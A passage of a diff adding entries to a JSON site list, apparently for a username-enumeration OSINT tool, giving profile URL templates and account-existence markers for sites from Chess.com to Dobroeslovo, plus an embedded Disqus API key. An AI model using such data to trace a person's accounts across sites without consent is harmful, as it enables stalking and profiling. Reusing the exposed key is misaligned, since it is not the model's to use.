", + "_404-header", + "_404-inner-container", + " no-nav " + ], + "presenseStrs": [ + "profile-top", + "og:title", + " style=", + "view-profile", + " data-username=" + ], + "alexaRank": 211, + "urlMain": "https://www.chess.com", + "url": "https://www.chess.com/member/{username}", + "usernameClaimed": "sexytwerker69", + "usernameUnclaimed": "aublurbrxm", + "headers": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36" + } + }, + "Chess-russia": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "urlMain": "http://www.chess-russia.ru", + "url": "http://www.chess-russia.ru/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "Sova0102", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Chessclub": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Internet Chess Club Forum | Forum Home", + "The member profile you requested is currently not available", + "There are no records on this user." + ], + "alexaRank": 325766, + "urlMain": "https://www.chessclub.com", + "url": "https://www.chessclub.com/forums/member/{username}", + "usernameClaimed": "Lyon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Chevrolet-cruze-club": { + "tags": [ + "ru" + ], + "disabled": true, + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + ], + "alexaRank": 2340660, + "urlMain": "http://www.chevrolet-cruze-club.ru", + "url": "http://www.chevrolet-cruze-club.ru/forum/member.php?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Chipmaker": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432 \u043f\u043e\u0438\u0441\u043a\u0430 \u043d\u0435\u0442. \u0420\u0430\u0441\u0448\u0438\u0440\u044c\u0442\u0435 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0438 \u043f\u043e\u0438\u0441\u043a\u0430." + ], + "alexaRank": 59877, + "urlMain": "https://www.chipmaker.ru", + "url": "https://www.chipmaker.ru/search/?q={username}&quick=1&type=core_members", + "usernameClaimed": "hiro", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Chitalnya": { + "tags": [ + "ru" + ], + "checkType": "response_url", + "alexaRank": 34182, + "urlMain": "https://www.chitalnya.ru", + "url": "https://www.chitalnya.ru/users/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Chpoking": { + "tags": [ + "ru" + ], + "checkType": "response_url", + "alexaRank": 235983, + "urlMain": "http://chpoking.ru", + "url": "http://chpoking.ru/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Citizen4": { + "checkType": "message", + "absenceStrs": [ + "Nie znaleziono" + ], + "presenseStrs": [ + "@soc.citizen4.eu" + ], + "url": "https://soc.citizen4.eu/profile/{username}/profile", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cloob": { + "tags": [ + "ir" + ], + "checkType": "status_code", + "alexaRank": 20571, + "urlMain": "https://www.cloob.com/", + "url": "https://www.cloob.com/name/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "CloudflareCommunity": { + "tags": [ + "forum", + "tech" + ], + "engine": "Discourse", + "alexaRank": 976, + "urlMain": "https://community.cloudflare.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Clozemaster": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Oh no! Player not found" + ], + "alexaRank": 72233, + "urlMain": "https://www.clozemaster.com", + "url": "https://www.clozemaster.com/players/{username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Club-comedy.clan.su": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "https://club-comedy.clan.su", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cmet4uk": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 225146, + "urlMain": "https://cmet4uk.ru", + "usernameClaimed": "vladnik", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Codecademy": { + "tags": [ + "coding", + "education" + ], + "checkType": "message", + "absenceStrs": [ + "This profile could not be found" + ], + "presenseStrs": [ + "Codecademy profile page for" + ], + "alexaRank": 2566, + "urlMain": "https://www.codecademy.com/", + "url": "https://www.codecademy.com/profiles/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Codecanyon": { + "tags": [ + "in" + ], + "checkType": "status_code", + "alexaRank": 1470, + "urlMain": "https://codecanyon.net", + "url": "https://codecanyon.net/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Codechef": { + "tags": [ + "in" + ], + "checkType": "response_url", + "alexaRank": 7932, + "urlMain": "https://www.codechef.com/", + "url": "https://www.codechef.com/users/{username}", + "errorUrl": "https://www.codechef.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Codementor": { + "tags": [ + "coding", + "in" + ], + "checkType": "message", + "presenseStrs": [ + "
" + ], + "absenceStrs": [ + "Adapted from" + ], + "alexaRank": 7204, + "urlMain": "https://www.codementor.io/", + "url": "https://www.codementor.io/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Codepen": { + "tags": [ + "coding", + "in" + ], + "errors": { + "Checking your browser before accessing": "Autoredirect detected" + }, + "checkType": "message", + "absenceStrs": [ + "I'm afraid you've found a page that doesn't exist on CodePen" + ], + "alexaRank": 1967, + "urlMain": "https://codepen.io/", + "url": "https://codepen.io/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Coderwall": { + "tags": [ + "coding", + "in" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "404! Our feels when that url is used" + ], + "alexaRank": 17775, + "urlMain": "https://coderwall.com/", + "url": "https://coderwall.com/{username}", + "usernameClaimed": "jenny", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Codewars": { + "tags": [ + "coding", + "us" + ], + "checkType": "status_code", + "alexaRank": 20867, + "urlMain": "https://www.codewars.com", + "url": "https://www.codewars.com/users/{username}", + "usernameClaimed": "example", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Comedy": { + "tags": [ + "gb", + "in", + "movies", + "pk", + "us" + ], + "checkType": "status_code", + "alexaRank": 131071, + "urlMain": "https://www.comedy.co.uk", + "url": "https://www.comedy.co.uk/profile/{username}/", + "usernameClaimed": "joel-sandbach", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ComicvineGamespot": { + "tags": [ + "gaming", + "us" + ], + "checkType": "status_code", + "alexaRank": 875, + "urlMain": "https://comicvine.gamespot.com/", + "url": "https://comicvine.gamespot.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Computerbase": { + "disabled": true, + "tags": [ + "de" + ], + "checkType": "message", + "absenceStrs": [ + "Das gew\u00fcnschte Mitglied kann nicht gefunden werden" + ], + "alexaRank": 8982, + "urlMain": "https://www.computerbase.de", + "url": "https://www.computerbase.de/forum/members/?username={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Connosr": { + "tags": [ + "gb" + ], + "checkType": "status_code", + "alexaRank": 1058804, + "urlMain": "https://www.connosr.com/", + "url": "https://www.connosr.com/@{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cont": { + "tags": [ + "be", + "ru" + ], + "checkType": "status_code", + "alexaRank": 18112, + "urlMain": "https://cont.ws", + "url": "https://cont.ws/@{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Contently": { + "tags": [ + "freelance", + "in" + ], + "checkType": "message", + "absenceStrs": [ + "Request A Meeting
" + ], + "presenseStrs": [ + "

\nPROJECTS" + ], + "alexaRank": 11587, + "urlMain": "https://contently.com/", + "url": "https://{username}.contently.com/", + "usernameClaimed": "jordanteicher", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Coolminiornot": { + "urlSubpath": "/forums", + "tags": [ + "forum", + "sg", + "us" + ], + "engine": "vBulletin", + "alexaRank": 373915, + "urlMain": "http://www.coolminiornot.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Coroflot": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 33281, + "urlMain": "https://coroflot.com/", + "url": "https://www.coroflot.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Coub": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 6885, + "urlMain": "https://coub.com/", + "url": "https://coub.com/{username}", + "usernameClaimed": "meteoralp", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Countable": { + "disabled": true, + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 9282301, + "urlMain": "https://www.countable.us/", + "url": "https://www.countable.us/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cqham": { + "tags": [ + "ru", + "tech" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + ], + "alexaRank": 187054, + "urlMain": "http://www.cqham.ru", + "url": "http://www.cqham.ru/forum/member.php?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cracked": { + "tags": [ + "us" + ], + "checkType": "response_url", + "alexaRank": 4090, + "urlMain": "https://www.cracked.com/", + "url": "https://www.cracked.com/members/{username}/", + "errorUrl": "https://www.cracked.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "CreativeMarket": { + "tags": [ + "art", + "stock" + ], + "errors": { + "/cdn-cgi/scripts/hcaptcha.challenge.js": "Captcha detected" + }, + "checkType": "message", + "absenceStrs": [ + "Whoomp, there it isn't...", + "It looks like the page you\u2019re looking for is no longer available. " + ], + "presenseStrs": [ + "Likes" + ], + "alexaRank": 3054, + "urlMain": "https://creativemarket.com/", + "url": "https://creativemarket.com/users/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Crevado": { + "tags": [ + "in", + "us" + ], + "checkType": "status_code", + "alexaRank": 170085, + "urlMain": "https://crevado.com/", + "url": "https://{username}.crevado.com", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Crossfire": { + "disabled": true, + "tags": [ + "gaming", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430" + ], + "alexaRank": 49, + "urlMain": "https://cfire.mail.ru", + "url": "https://cfire.mail.ru/forums/member.php?username={username}", + "usernameClaimed": "wizard", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Crunchyroll": { + "disabled": true, + "tags": [ + "forum", + "movies", + "us" + ], + "headers": { + "'User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0" + }, + "checkType": "status_code", + "alexaRank": 364, + "urlMain": "https://www.crunchyroll.com/", + "url": "https://www.crunchyroll.com/user/{username}", + "usernameClaimed": "adan", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "CryptomatorForum": { + "checkType": "status_code", + "url": "https://community.cryptomator.org/u/{username}", + "usernameClaimed": "michael", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cssomsk": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "urlMain": "http://www.cssomsk.ru", + "usernameClaimed": "spacebody", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 7312355 + }, + "Cults3d": { + "checkType": "message", + "absenceStrs": [ + "Oh dear, this page is not working!" + ], + "presenseStrs": [ + "All the 3D models of" + ], + "url": "https://cults3d.com/en/users/{username}/creations", + "usernameClaimed": "uheara_konen", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cyberclock": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + ], + "urlMain": "https://cyberclock.cc", + "url": "https://cyberclock.cc/forum/member.php?username={username}", + "usernameClaimed": "Lich", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cydak": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "urlMain": "http://www.cydak.ru", + "url": "http://www.cydak.ru/forum/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "Henders", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Cytoid.io": { + "checkType": "message", + "absenceStrs": [ + "Profile not found" + ], + "presenseStrs": [ + "Joined" + ], + "url": "https://cytoid.io/profile/{username}", + "usernameClaimed": "uehkon", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "d3.ru": { + "checkType": "message", + "absenceStrs": [ + "d3.ru \u2014 \u041d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e!" + ], + "presenseStrs": [ + "/user/" + ], + "url": "https://d3.ru/user/{username}/posts", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Dangerousthings.com": { + "checkType": "status_code", + "url": "https://forum.dangerousthings.com/u/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Demotywatory": { + "checkType": "message", + "absenceStrs": [ + "U\u017cytkownik o podanym pseudonimie nie istnieje." + ], + "presenseStrs": [ + "Z nami od:" + ], + "url": "https://demotywatory.pl/user/{username}", + "usernameClaimed": "uheara_konen", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "DEV Community": { + "tags": [ + "coding" + ], + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "checkType": "status_code", + "alexaRank": 4668, + "urlMain": "https://dev.to/", + "url": "https://dev.to/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Dojoverse": { + "checkType": "message", + "absenceStrs": [ + "Looks like you got lost!." + ], + "presenseStrs": [ + "Joined" + ], + "url": "https://dojoverse.com/members/{username}/", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "DSLReports": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "Kudos Received" + ], + "absenceStrs": [ + "alert:" + ], + "alexaRank": 42786, + "urlMain": "https://www.dslreports.com", + "url": "https://www.dslreports.com/profile/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "DTF": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430 " + ], + "alexaRank": 16528, + "urlMain": "https://dtf.ru", + "url": "https://dtf.ru/search/v2/subsite/relevant?query={username}&strict=1", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "DailyMotion": { + "tags": [ + "video" + ], + "checkType": "message", + "presenseStrs": [ + " style=", + "", + "og:title", + "Twitter", + "og:site_name" + ], + "alexaRank": 263, + "urlMain": "https://www.dailymotion.com", + "url": "https://www.dailymotion.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "rstnodkwzr", + "absenceStrs": [ + "Page not found", + "profile", + "error404", + "bodyall", + "No matches found" + ], + "headers": { + "User-Agent": "" + } + }, + "Dalnoboi": { + "tags": [ + "ru" + ], + "errors": { + "\u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0439\u0442\u0435 \u0447\u0443\u0442\u044c \u043f\u043e\u0437\u0436\u0435.": "Rate limit" + }, + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 1020831, + "urlMain": "https://www.dalnoboi.ru", + "url": "https://www.dalnoboi.ru/phpBB3/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "stommof", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Damochka": { + "disabled": true, + "tags": [ + "kz", + "ru" + ], + "checkType": "status_code", + "alexaRank": 572128, + "urlMain": "https://www.damochka.ru", + "url": "https://www.damochka.ru/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Darkside": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 8725117, + "urlMain": "https://darkside.black", + "usernameClaimed": "soldier", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Dasauge": { + "tags": [ + "de", + "pk" + ], + "checkType": "status_code", + "alexaRank": 1099149, + "urlMain": "https://dasauge.co.uk", + "url": "https://dasauge.co.uk/-{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Dating.Ru": { + "tags": [ + "dating", + "ru", + "us" + ], + "checkType": "status_code", + "alexaRank": 74812, + "urlMain": "http://dating.ru", + "url": "http://dating.ru/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Datpiff": { + "tags": [ + "us" + ], + "checkType": "response_url", + "alexaRank": 38454, + "urlMain": "https://www.datpiff.com", + "url": "https://www.datpiff.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Davesgarden": { + "tags": [ + "us" + ], + "checkType": "response_url", + "alexaRank": 45380, + "urlMain": "https://davesgarden.com", + "url": "https://davesgarden.com/members/{username}/", + "usernameClaimed": "Gail", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Dcpg": { + "tags": [ + "ru", + "ua" + ], + "checkType": "response_url", + "alexaRank": 905001, + "urlMain": "https://dcpg.ru/", + "url": "https://dcpg.ru/users/{username}/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ddo": { + "urlSubpath": "/forums", + "disabled": true, + "tags": [ + "forum", + "us" + ], + "engine": "vBulletin", + "alexaRank": 105195, + "urlMain": "https://www.ddo.com", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "DefenceForumIndia": { + "tags": [ + "forum", + "in", + "military" + ], + "engine": "XenForo", + "alexaRank": 445137, + "urlMain": "https://defenceforumindia.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "DefensiveCarry": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 309817, + "urlMain": "https://www.defensivecarry.com", + "url": "https://www.defensivecarry.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "Demonscity": { + "tags": [ + "ru" + ], + "checkType": "message", + "errors": { + "http://img.combats.com/errs/503.png": "Maintenance" + }, + "absenceStrs": [ + "\u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 90420, + "urlMain": "http://demonscity.combats.com", + "url": "http://demonscity.combats.com/inf.pl?{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Derevnyaonline": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0417\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430." + ], + "alexaRank": 2116602, + "urlMain": "https://derevnyaonline.ru", + "url": "https://derevnyaonline.ru/user/{username}", + "usernameClaimed": "coolkrictina", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Designspiration": { + "checkType": "status_code", + "urlMain": "https://www.designspiration.net/", + "url": "https://www.designspiration.net/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 461605 + }, + "Destructoid": { + "disabled": true, + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Error in query" + ], + "alexaRank": 25063, + "urlMain": "https://www.destructoid.com", + "url": "https://www.destructoid.com/?name={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Desu": { + "tags": [ + "by", + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 301233, + "urlMain": "https://desu.me", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Detstrana": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 342949, + "urlMain": "https://detstrana.ru", + "url": "https://detstrana.ru/user/{username}/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "DeviantART": { + "tags": [ + "art", + "photo" + ], + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "checkType": "status_code", + "alexaRank": 508, + "urlMain": "https://deviantart.com", + "url": "https://{username}.deviantart.com", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Devtribe": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 1454122, + "urlMain": "https://devtribe.ru", + "url": "https://devtribe.ru/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Diary.ru": { + "tags": [ + "blog", + "nl", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + " — @\u0434\u043d\u0435\u0432\u043d\u0438\u043a\u0438: \u0430\u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u0430\u044f \u0441\u0435\u0442\u044c" + ], + "alexaRank": 11301, + "urlMain": "https://diary.ru", + "url": "https://{username}.diary.ru/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "DigitalOcean": { + "tags": [ + "forum", + "in", + "tech" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 2418, + "urlMain": "https://www.digitalocean.com/", + "url": "https://www.digitalocean.com/community/users/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "DigitalPoint": { + "tags": [ + "forum" + ], + "engine": "XenForo", + "alexaRank": 17020, + "urlMain": "https://www.digitalpoint.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Digitalspy": { + "disabled": true, + "tags": [ + "forum", + "gb", + "us" + ], + "checkType": "status_code", + "alexaRank": 5608, + "urlMain": "https://forums.digitalspy.com/", + "url": "https://forums.digitalspy.com/profile/discussions/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Diigo": { + "tags": [ + "in" + ], + "checkType": "message", + "absenceStrs": [ + "{}" + ], + "alexaRank": 8076, + "urlMain": "https://www.diigo.com/", + "url": "https://www.diigo.com/interact_api/load_profile_info?name={username}", + "usernameClaimed": "markmark", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Dinsk": { + "tags": [ + "ru" + ], + "disabled": true, + "checkType": "status_code", + "urlMain": "https://dinsk.su", + "url": "https://dinsk.su/user/{username}", + "usernameClaimed": "dinsk", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Discogs": { + "tags": [ + "music", + "us" + ], + "checkType": "status_code", + "alexaRank": 1040, + "urlMain": "https://www.discogs.com/", + "url": "https://www.discogs.com/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "DiscoursePi-hole": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 86634, + "urlMain": "https://discourse.pi-hole.net", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Discuss.Elastic.co": { + "tags": [ + "forum", + "tech", + "us" + ], + "engine": "Discourse", + "alexaRank": 5765, + "urlMain": "https://discuss.elastic.co/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "DiscussPython": { + "tags": [ + "coding", + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 1051, + "urlMain": "https://discuss.python.org/", + "usernameClaimed": "dustin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Discussfastpitch": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 1042099, + "urlMain": "https://www.discussfastpitch.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Disqus": { + "tags": [ + "discussion" + ], + "errors": { + "Invalid API key": "New API key needed" + }, + "regexCheck": "^[^/]+$", + "urlProbe": "https://disqus.com/api/3.0/users/details?user=username%3A{username}&attach=userFlaggedUser&api_key=E8Uh5l5fHZ6gD8U3KycjAIAk46f68Zw7C6eW8WSjZvCLXebZ7p0r1yrYDrLilk2F", + "checkType": "status_code", + "presenseStrs": [ + "https://disqus.com/api/users/" + ], + "absenceStrs": [ + "User matching query does not exist" + ], + "alexaRank": 850, + "urlMain": "https://disqus.com/", + "url": "https://disqus.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Dissenter": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 56922, + "urlMain": "https://dissenter.com/", + "url": "https://dissenter.com/user/{username}", + "usernameClaimed": "meatballs", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Diveforum": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435" + ], + "alexaRank": 4405379, + "urlMain": "https://diveforum.spb.ru/", + "url": "https://diveforum.spb.ru/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Djangoproject.co": { + "tags": [ + "coding", + "forum" + ], + "engine": "Discourse", + "urlMain": "https://forum.djangoproject.co", + "usernameClaimed": "mikhail349", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Dmyt": { + "tags": [ + "ru", + "ua" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 630908, + "urlMain": "https://dmyt.ru", + "url": "https://dmyt.ru/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "tim308", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Dobroeslovo": { + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "alexaRank": 3587216, + "urlMain": "http://www.dobroeslovo.ru", + "usernameClaimed": "alex", + "usernameUnclaimed": 